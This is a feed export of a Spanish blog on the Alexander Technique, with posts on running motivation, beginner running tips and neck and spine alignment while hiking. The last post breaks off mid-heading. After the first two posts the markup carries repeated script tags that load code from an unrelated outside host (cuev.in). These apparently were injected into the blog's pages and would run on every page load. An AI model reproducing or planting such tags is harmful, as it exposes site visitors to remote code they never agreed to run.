tag:blogger.com,1999:blog-19874389566953536492024-03-13T14:21:42.753-03:00Victoria Stanham - Técnica AlexanderPostura, Movimiento, ExpresiónAnonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.comBlogger127125tag:blogger.com,1999:blog-1987438956695353649.post-41200114195587583572017-10-18T18:11:00.003-03:002017-10-18T18:11:43.710-03:00Correr con sentido<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjocUb5JeGm28hZb8i8j6J1Vo0nVt9bx4DaAGcraYbC-Kwv09TmXlG_4O09LBVtYGjoCJX8XDRsnHWB1jfnAhpJGNKvTcXwFRQBSyaK_8TdFNeN15EPSYWR5UO524jLbXwk2zBtgONGiEZo/s1600/2017-10-08-13-55-12.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="360" data-original-width="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjocUb5JeGm28hZb8i8j6J1Vo0nVt9bx4DaAGcraYbC-Kwv09TmXlG_4O09LBVtYGjoCJX8XDRsnHWB1jfnAhpJGNKvTcXwFRQBSyaK_8TdFNeN15EPSYWR5UO524jLbXwk2zBtgONGiEZo/s1600/2017-10-08-13-55-12.jpeg" /></a></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><span style="color: #990000;">3 consejos
para mantener la motivación de salir a correr<o:p></o:p></span></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Es un hecho que incluso las cosas que me gustan mucho,
si las hago muy seguido se me vuelven rutinarias, y me aburro. Y si me aburro
dejo de hacerlas, y luego me resulta más difícil retomarlas. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">En invierno y primavera tengo que recurrir a la cinta
del gimnasio para correr, ya que las lluvias y el frío atentan contra toda
continuidad de mi práctica. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Al principio correr en la cinta es una novelería en sí
misma. Luego de 6 meses de meter rambla sin parar y conocerme el trillo de
memoria tanto en dirección este como oeste, subirme a la cinta y jugar a
ganarle a los números, o probar los diferentes programas me mantiene
entretenida por varios meses. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Pero, llegado el sexto mes de cinta, ya hace rato que
se pasó la novelería, y con los amaneceres cada vez más tempranos y cálidos, me
vuelve a llamar la rambla con su promesa de brisa fresca y cambio de paisaje. Y
comienzan 6 meses más de idilio ramblero.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Más allá de la variación semestral que me ayuda a mantener
el interés en correr todo el año, es importante mantener el sentido y el
entusiasmo DURANTE los 6 meses de cada rotación. Para ello he comprobado que
los siguientes tres factores son CLAVES a la hora de darle un sentido a
levantarme al alba tres o cuatro veces por semana para correr.<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><span style="color: #990000;">1. Tener un
plan que seguir.</span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Está todo bien con correr lo que uno quiera, cuándo
uno quiera y cómo uno quiera. Pero si quieres volver del correr parte de tu
rutina semanal, te aconsejo tener un plan semanal progresivo para darle sentido
y dirección a tu proceso.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Hay miles de planes posibles para seguir según la meta
que te propongas alcanzar (ver siguiente punto). Yo sigo los planes de Jeff
Galloway para incrementar distancia (quiero llegar a la media maratón) y
mejorar tiempos en los 5km y los 10km. Esto significa que hay días que salgo a
correr distancias más largas, y otros que salgo a entrenar velocidad o correr
cuestas. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Pero si recién estás comenzando a correr, tu plan no
necesita ser más complejo que aumentar paulatinamente la cantidad que corres en
relación a lo que caminas en una determinada distancia (por ejemplo 5km) o un
determinado tiempo (por ejemplo 30 minutos). Sea lo que sea, lo importante es
que sea significativo para ti.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Tener un plan que seguir te ayudará a mantener la
motivación de varias maneras. Por un lado te da la medida de tu progreso a la
fecha y por otro te indica el camino que te queda por recorrer hasta llegar a
tu meta. Si confías en que quien diseñó el plan sabe lo que hace, puedes
delegar la responsabilidad de tener que decidir cada día qué hacer y
simplemente seguirlo para asegurarte variedad y progreso.<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><span style="color: #990000;">2. Tener una
meta relacionada a tu progreso como corredor.<o:p></o:p></span></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Las metas nos mantienen motivados, interesados,
direccionados. Aunque soy una acérrima proponente de la filosofía de “disfrutar
del camino que nos lleva a la meta”, en los hechos es la meta la que marca la
dirección del camino. Si te gustaría ser parte del club de “esos locos que
corren”, tener metas que vas alcanzando, y dejando atrás en pos de nuevas
metas, es casi una necesidad. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Las metas tienen que ser significativas para ti, te
tienen que entusiasmar, y tienen que estar relacionadas a correr. Esto último es
vital. Ponerse a correr con la meta principal de “controlar el colesterol” o
“bajar de peso” es casi una receta para el fracaso en tu carrera como corredor.
Ambos objetivos están muy bien, pero son metas o beneficios no directamente
relacionados a correr. Hay que correr por el placer de hacerlo para que la
motivación para seguir corriendo perdure.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">La meta más obvia como corredor es proponerte
participar de alguna de las tantas carreras de calle que se organizan a lo
largo del año. Pero si no te gustan las carreras, puedes elegir otra meta más
personal como correr una cierta cantidad de kilómetros en un año, o acumular
una cierta cantidad de horas, o correr el largo entero de la rambla, etc. Lo
importante es que sea algo concreto y relacionado a correr, el resto que lo
determinen tus ganas y tu imaginación.<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><span style="color: #990000;">3. Reclutar
un compañero.</span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Esta la sabe todo el mundo, pero vale la pena
remarcarla. Generarte un compromiso con alguien más te da ese impulso extra
para atarte los cordones cuando te da pereza salir, y hace la actividad más
llevadera. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Las relaciones saludables son la base de la felicidad,
y acumular kilómetros de charla o silencio con alguien a tu lado genera un
vínculo particular con tu compañero de carreras. Correr con mi hermana me
permite simplemente estar con ella, ya sea que charlemos todo el rato o que
corramos calladas; le da una cotidianeidad y una simpleza al vínculo que no
tendríamos de otra forma.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Sin duda que tener un grupo entero de amigos para
correr es muy divertido y motivador también. Sin embargo, yo me he encontrado
que la motivación para ponerme los championes y salir a correr con pereza,
sueño o aburrimiento es más fuerte cuando tengo un compromiso con una persona
concreta. De esa forma no me puedo descansar en el grupo, en que alguien más
ocupará mi lugar; si yo no estoy al firme mi falta de compromiso tiene
consecuencias no sólo para mí, sino también para mi compañero de carreras. <o:p></o:p></span></div>
<br />
<div class="MsoNormal">
<br /></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-89918417936856777562017-10-09T18:17:00.000-03:002017-10-09T18:17:44.391-03:003 consejos para empezar a correr… sin sufrir<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp1CMCeGsxipo0-S7CVfYckkz-fM-iIZ0WPpv_YNED8uHa-dXyQg1PnhZx7SSLuorVvBGukASGG6UomspYGOBlpoyVyx3Y2xccsZBdr8cPXiKjC6EOXHQXHoBikZ5lsJELbVHROFiwm4EN/s1600/2017-09-10-18-10-29.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="426" data-original-width="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp1CMCeGsxipo0-S7CVfYckkz-fM-iIZ0WPpv_YNED8uHa-dXyQg1PnhZx7SSLuorVvBGukASGG6UomspYGOBlpoyVyx3Y2xccsZBdr8cPXiKjC6EOXHQXHoBikZ5lsJELbVHROFiwm4EN/s1600/2017-09-10-18-10-29.jpeg" /></a></div>
<br />
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Hace algo más de 4 años me até nuevamente los
championes para unirme al club de “esos locos que corren”. Muchas veces en mi
vida traté de ser parte del club, pero siempre desistía a los pocos meses o
semanas. Correr no era un placer, era una tortura. Pero esta vez es diferente.
Esta vez AMO correr, NECESITO correr, DISFRUTO correr. ¿Qué cambió? <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">En estos nuevos años de pasión corredora, varias
personas me han preguntado cómo hacer para poder unirse al club de “esos locos
que corren” sin pasarla mal. Los siguientes son los 3 factores que a mí me
hicieron toda la diferencia.<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">1. Aprender a
moverse de forma eficiente, económica y placentera. <o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Uno de los factores claves en hacer del correr un
placer es no sentir que arrastrás un elefante con cada paso o que respirar pasa
a ser una cuestión literal “de vida o muerte”. También influye el no sentir
dolor antes, durante, ni después, en rodillas, caderas, cintura, espalda,
hombros o cuello.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Para evitar dolores y tensiones innecesarias al correr
me dediqué a aprender a usar mi cuerpo de una forma más eficiente, a re-educar mi
movimiento para recuperar liviandad y economía de esfuerzo. Hay varias
disciplinas somáticas que enseñan justamente eso. Yo tomé clases de Técnica
Alexander, del Método Feldenkrais, de los programas de Movement Intelligence de
Ruthy Alon, y del Método Pilates. Tanto me gustó lo que descubrí sobre el
movimiento en estas técnicas que en tres de ellas me formé como docente.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Si lo que te está impidiendo disfrutar de tu correr es
la tensión, el dolor, la sensación de pesadez o la incapacidad de respirar
libremente al correr, te recomiendo tomar clases en cualquiera de estas
disciplinas para re-educar tu movimiento hacia un uso de ti mismo más
eficiente.<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">2. Adoptar un
plan de corre-camina-corre. <o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Cuando comencé a correr hace 4 años, una de las
barreras más infranqueables era la de aumentar la distancia sin agotarme, ni
aburrirme. Me sentía estancada en los
5km. Cada kilómetro por encima del quinto parecía una eternidad. Fue entonces
que me encontré con el sistema de Galloway de corre-camina-corre (run-walk-run).
<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">La premisa es simple, si no has corrido nunca,
comienzas insertando breves segundos de correr cada tantos minutos de caminata.
De a poco vas aumentando el tiempo que corres y disminuyendo el que caminas,
pero siempre mantienes el ciclo de alternar correr con caminar. Eventualmente
tus caminatas no pasan los 20 o 30 segundos, y los ratos que corres pueden ser
mucho más largos, pero nunca necesitas abandonar tus micro-descansos si no
quieres.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Desde que descubrí esta forma de administrar mi
energía al correr pude superar ampliamente los 5km. De a poco me acerco a la
media maratón, que ya no me parece una distancia imposible. Así que si lo que
te impide disfrutar de tu correr es lo inconmensurable de la distancia y el
aburrimiento de hacer lo mismo durante tanto tiempo y tantos kilómetros, te
aconsejo probar con intercalar tu correr con regulares y breves “descansos
físicos y mentales” caminando.<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">3. Invertir
en calzado y vestimenta adecuados.<o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">En el pasado uno de mis mayores errores al tratar de
hacer del correr un hábito era no contar con la indumentaria apropiada. Nunca
se me ocurrió que mis championes All Star, y mi jogging y remera de algodón
fueran un problema. Sin embargo lo eran, y mucho. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">El mayor problema con un mal calzado, vestimenta o
accesorio, es que al incomodarte, impedirte un movimiento eficiente, o/y
obligarte a adoptar posturas desalineadas, uno acaba corriendo con mala
biomecánica y esto lleva a tensiones, dolores y molestias que hacen del correr
algo poco placentero. Correr con vestimenta o calzado inapropiado es un camino
seguro a paspaduras, ampollas, y lesiones. Y si correr se vuelve incómodo o doloroso,
en seguida dejamos de hacerlo.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;"><br /></span></div>
<br />
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 13.0pt; line-height: 107%; mso-ansi-language: ES-UY;">Lo bueno es que correr no es un deporte caro. Sólo
necesitás la vestimenta adecuada. Por eso, para no pasarla mal, te recomiendo
invertir en unos championes y medias apropiados para correr, ropa dry-fit (el
algodón es el enemigo del corredor, ya que absorbe el sudor), y para las
mujeres un buen sutién deportivo. No es necesario conseguir todo de última
marca y modelo, pero te recomiendo hacer una mini inversión en ropa cómoda y
apropiada para la tarea.<o:p></o:p></span></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com1tag:blogger.com,1999:blog-1987438956695353649.post-38228597150710260382017-08-10T12:02:00.000-03:002017-08-10T12:02:35.936-03:00La importancia de alinear el eje al caminar<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_6sQFLbry40SVzD7nuugpfRhdAk2D4xf_Qa3brl36RYzbrYeElGAV-XLT8y3r40rDKPPkKkQg0692iq9PcnzMd9FVNjbvqbQCcVe2Hp1JfK_aiIxOyUWlAM2xg2v5_CfpbxgQb2zD3gUT/s1600/2017-07-08-16-26-16.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="886" data-original-width="1182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_6sQFLbry40SVzD7nuugpfRhdAk2D4xf_Qa3brl36RYzbrYeElGAV-XLT8y3r40rDKPPkKkQg0692iq9PcnzMd9FVNjbvqbQCcVe2Hp1JfK_aiIxOyUWlAM2xg2v5_CfpbxgQb2zD3gUT/s1600/2017-07-08-16-26-16.jpeg" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Las primeras dos semanas de julio estuve en Perú,
caminando por las gloriosas montañas del Valle Sagrado. Fueron varios
kilómetros de subidas y bajadas, escaleras y caminitos, y todo a más de 3000m
de altura. En esos días pude experimentar en mí misma la utilidad o inutilidad
de varias ideas sobre alineación y movimiento eficiente que he aprendido en mis
más de 10 años de práctica de movimiento somático. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Esto es lo que saco en limpio de mi experiencia.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">1. Las
articulaciones comprimidas por una postura desalineada y sometidas al impacto repetido
del peso total del cuerpo, son una vía segura al dolor. <o:p></o:p></span></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Amo caminar en la naturaleza, pero a medida que se
sumaban los kilómetros y los días, amagaban con aparecer dolorsillos.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Cuando la transmisión de la presión del peso del
cuerpo desde la cabeza hacia los pies y de la contrapresión que sube de los
pies hacia la cabeza, se veía inte</span><span style="font-size: 14pt;">rrumpida en articulaciones comprimidas y
desalineadas, aparecía el dolor.</span></div>
<div class="MsoNormal">
<span style="font-size: 14pt;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">La compresión de las articulaciones podía deberse a
factores externos como un zapato que apretaba demasiado o una mochila muy
cargada y poco equilibrada; o a factores internos como mi propia desalineación
postural sea por cansancio, apuro, hábito o pereza.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">El problema con la compresión es que, de mantenerse en
el tiempo, generaba dolor, y el dolor generaba a su vez otras adaptaciones de
la alineación corporal que intentaban proteger la zona sensible de futuros
impactos, lo cual distorsionaba aún más mi postura.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">2. Caminar sin
tensión requiere de un movimiento fluido alrededor de un eje alineado. </span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;"><br /></span></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Cuanto más se desalineaba mi cuerpo de su eje más interfería
con la coordinación de un movimiento armónico y fluido. Un movimiento fluido
requería un eje estable que generara las condiciones para que mis piernas y
brazos pudiesen moverse con soltura y generar la fuerza necesaria en el momento
justo.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Cuando el peso de mi cabeza no estaba alineado sobre
mi columna, mi cuello colapsaba hacia adelante, aumentando su curvatura. La musculatura
posterior y lateral de mi cuello y de mis hombros se contraía para sostener el
peso considerable de la cabeza (4,5kg) y así mantener los ojos alineados con el
horizonte. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Por lo general trato de ser consciente de cuánto
comprimo el cuello, acortándolo en mis movimientos cotidianos. La importancia
de esta auto-observación es una de las primeras cosas que me enseñaron cuando
comencé a tomar clases de Técnica Alexander… Y como ven es un trabajo de
auto-observación que no acaba nunca.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">3. Tendemos a
olvidar que el cuello es parte de la columna.</span></span></b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><o:p></o:p></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;"><br /></span></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Gran parte de la desalineación del eje del cuello tiene
su origen en ideas inconscientes que tenemos sobre nuestra anatomía y su
mecánica, y que poco tienen que ver con cómo son las cosas realmente. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Existe en casi todos nosotros una gran desconexión
entre lo que pensamos que hacemos, lo que sentimos que hacemos y lo que
realmente estamos haciendo mientras nos movemos. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Cuando pensamos en el cuello tendemos a focalizarnos
en la parte visible que va de los hombros al mentón y a la nuca. Por
consiguiente, todos nuestros esfuerzos por corregir la alineación de nuestro
cuello o por solucionar sus molestias se centran en esa pequeña porción visible
de su anatomía. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Lo que noté en mí fue que cuando recordaba que el
cuello es una continuación de mi columna vertebral (que arranca en el cóccix y llega
hasta la cabeza) percibía una mayor integración de todo mi cuerpo en cada
movimiento.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">4. El mayor
problema del cuello no es la falta de flexibilidad sino la falta de estabilidad</span></span></b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">. </span><o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;"><br /></span></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Para lograr que mi columna funcione como un eje
estable que transmite las fuerzas que lo atraviesan sin colapsarse, tenía que
poner atención en alinear mis vértebras de una forma orgánica, sin forzar pero
con intención clara, y mantener esa alineación durante el movimiento.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Cuando las vértebras de mi cuello se alineaban con el
resto de mi columna, el cuello podía transmitir efectivamente la presión que
surgía del impacto de mi pie en el suelo, hacia mi cabeza sin colapsar su curva.
<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">5. Para
